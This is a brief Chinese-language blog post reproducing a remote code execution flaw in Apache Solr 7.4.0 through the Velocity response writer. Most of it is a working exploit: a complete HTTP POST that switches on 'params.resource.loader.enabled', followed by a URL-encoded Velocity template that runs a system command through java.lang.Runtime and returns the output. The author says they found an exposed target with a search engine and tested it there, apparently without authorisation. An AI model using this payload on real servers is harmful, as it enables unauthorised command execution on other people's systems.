看到小伙伴们在传solr又出新洞了，就瞅了一下
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt?tdsourcetag=s_pctim_aiomsg

使用某fa搜了一下，

找了台可以直接访问控制台的测试一下，测试版本为7.4.0
在Core Selector下随意选择一个节点

访问配置文件：节点名/config,找到“params.resource.loader.enabled”，

默认为false，将其修改为true

POST /solr/notification_shard1_replica_n83/config HTTP/1.1
Host: xxx.xxx.xx.x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

执行“id”，
exp

select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt?tdsourcetag=s_pctim_aiomsg
https://mp.weixin.qq.com/s/RWG7nxwCMtlyPnookXlaLA